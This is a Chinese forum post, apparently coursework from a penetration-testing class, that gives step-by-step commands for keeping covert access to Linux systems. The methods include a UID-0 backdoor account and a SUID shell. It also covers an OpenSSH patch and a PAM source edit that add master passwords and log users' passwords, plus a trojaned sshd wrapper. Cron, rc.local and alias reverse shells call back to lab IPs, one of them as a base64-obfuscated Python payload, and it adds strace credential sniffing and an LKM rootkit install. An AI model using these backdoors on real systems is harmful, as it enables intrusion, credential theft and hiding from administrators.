[i=s] 本帖最后由 zeke 于 2026-1-30 17:23 编辑 [/i]
WEB渗透测试工程师系统班
作业
实操8种Linux权限维持手法(步骤截图)
一、文件修改时间
touch -r 目标文件 木马文件

二、文件锁定
chattr +i 锁定
chattr -i 解锁
lsattr shell.php

三、历史记录隐藏
隐藏接下来的命令记录
空格 set +o history
隐藏指定内容
history -d [num]
恢复
空格 set -o history

四、隐藏文件
touch .文件名
ls -al 查看隐藏文件

五、添加用户-后门账号
命令添加
#添加账号test,设置uid为0,密码为123456
useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test
直接写入密码文件添加
- 首先,使用perl语言(Linux自带)生成带有盐值的密码:
perl -le 'print crypt("123456","addedsalt")'
- 添加test账号,密码设置为123456
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
- 删除用户 userdel -f test



六、SUID shell
cp /bin/bash /tmp/shell #将交互式shell移动到tmp目录
chmod +s /tmp/shell #赋权
exit #退出当前用户
/tmp/shell -p #普通用户执行
whoami #查看权限


七、Openssh后门
安装依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
下载安装包
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
解压
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
拷贝
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
修改版本
vi version.h
修改配置密码(后门登录不会有记录)
vi includes.h
#define ILOG "/tmp/ilog" 记录了谁登录了我
#define OLOG "/tmp/olog" 记录了我登录了谁
#define SECRETPW "yijin" 万能密码
安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
重启ssh服务报错解决方案
方法1:接着做如下操作
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
service sshd restart

八、SSH-PAM后门
- 获取目标服务器的pam版本,下载到对应的pam版本源码文件
- 修改源码文件
- 编译
- 把编译好的pam替换到原有服务器上面
前提工作
彻底关闭 SELinux(永久生效)
sudo nano /etc/selinux/config
将 SELINUX=enforcing 改为 SELINUX=disabled
修改完成后,reboot重启
如果只需要临时关闭 setenforce 0
环境准备
rpm -qa | grep pam 查询版本
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 下载
tar -zxvf Linux-PAM-1.1.8 解压
yum install gcc flex flex-devel -y 安装编译环境
修改配置
cd Linux-PAM-1.1.8-master/modules/pam_unix/
vi pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
编译安装(压缩包文件夹根目录下执行)
./configure && make
备份替换
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8-master/modules/pam_unix/.libs/
cp pam_unix.so /usr/lib64/security/pam_unix.so
提示:客户端如果登录不上,清除以下文件
cd /root/.ssh
rm known_hosts
rm known_hosts.old

九、ssh公私钥免密登录
攻击者kali 连接 Linux
kali 客户端
kali生成
ssh-keygen -t rsa
将内容放到受害者主机的一下路径(_pub)
/root/.ssh/authorized_keys(au自己建)
authorized_keys权限为600
所在文件夹权限为700
如果没有/root/.ssh目录,输入命令:ssh localhost

十、软连接
通俗的理解:类似Windows的快捷方式
查看是否启用pam
cat /etc/ssh/sshd_config|grep UsePAM
创建后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9997
查看端口是否开启
netstat -tulnp | grep :9997
防火墙开放端口
firewall-cmd --permanent --add-port=9997/tcp
firewall-cmd --reload
查看是否生效
firewall-cmd --list-ports
缺陷:
重启服务器就会失效
端口占用情况
容易被外联发现

十一、SSH wrapper
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
service sshd restart
登录
socat STDIO TCP4:10.10.10.129:22,sourceport=13377

十二、计划任务
创建一个1.sh文件
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.101/9998 0>&1
创建编辑计划任务
nano /etc/crontab
重启crond
systemctl restart crond.service

十三、开机启动
启动项路径
vi /etc/rc.d/rc.local
#!/bin/bash
(sleep 5; bash -i >& /dev/tcp/10.10.10.128/9999 0>&1) &
在 touch /var/lock/subsys/local 这一行 上面 添加你要执行的脚本
让 rc.local 可执行:
chmod +x /etc/rc.d/rc.local
查看 rc-local 服务状态
systemctl status rc-local
开启rc
systemctl start rc-local

十四、strace后门
类似于键盘记录的功能,能够记录到ssh登录时填写的账密
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

十五、Alias后门
Alias:为命令设置一个别名
缺陷:重启后会消失
alias ls=‘ls -al’ 定义
unalias ls 删除
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/10.10.10.128/4598 0>&1; };alerts'
(反弹shell)

进阶利用
目标还得有python环境(ls后关掉以防占用)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTAuMTAuMTAuMTI4IiwgOTk5MSkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
import os,socket,subprocess; ret = os.fork() if ret > 0: exit() else: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.10.128", 9991)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"]) except Exception as e: exit()

十六、内核加载LKM-rootkit后门
显示当前正在运行的 Linux 内核版本号
uname -r
查询当前系统中已安装的 kernel-devel 内核开发包
rpm -qa | grep kernel-devel
re安装包传到靶机centos7,选择install


客户端通信
kali安装re(client)
apt install libreadline-dev
cd Reptile-2.0
./setup.sh client
cd bin
./client

一、笔记标题:WEB渗透系统班-Linux权限维持01+Linux权限维持02+Linux权限维持03
二、文章内容:
1.课程内容概要
主要知识点1:各种方式的Linux权限维持
2.重点知识与细节
概念解析
概念1:无
关键步骤
步骤1:无
相关代码
3.实操练习和解析
练习了各种方式的Linux权限维持
4.个人总结
本节课最大的收获是:学习了12种Linux权限维持方式,包括后门,公私钥,SUID等等
仍然存在疑问的地方:暂无
需要课后深入学习的内容:暂无